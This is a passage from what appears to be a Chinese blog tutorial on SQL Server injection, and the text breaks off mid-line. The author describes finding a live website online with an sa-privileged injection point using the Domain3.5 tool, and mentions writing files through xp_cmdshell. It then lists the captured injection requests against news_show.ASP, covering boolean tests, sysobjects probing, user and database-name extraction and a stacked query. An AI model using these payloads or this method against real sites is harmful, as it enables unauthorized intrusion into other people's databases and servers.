全面了解SQLServer注入过程实战经验分享

总的来说就是调用xp_cmdshell执行echo 一句句的写入文件。

【查询数据库信息】

本地没有找到好点的有注入漏洞的系统，只好在网上寻找了，先用Domain3.5，运行很好以来就找到个sqlserver，sa权限的注入点，点Domain3.5上面的“开始检测”www.it55.com

以下是Domain3.5中嗅探出来的http数据包：
news_show.ASP?id=15618%20and%201=1
news_show.ASP?id=15618%20and%201=2
news_show.ASP?id=15618%20and%20exists%20(select%20*%20from%20sysobjects)
news_show.ASP?id=15618%20and%20char(124)%2Buser%2Bchar(124)=0
news_show.ASP?id=15618;declare%20@a%20int–
news_show.ASP?id=15618%20and%20char(124)%2Bdb_name()%2Bchar(1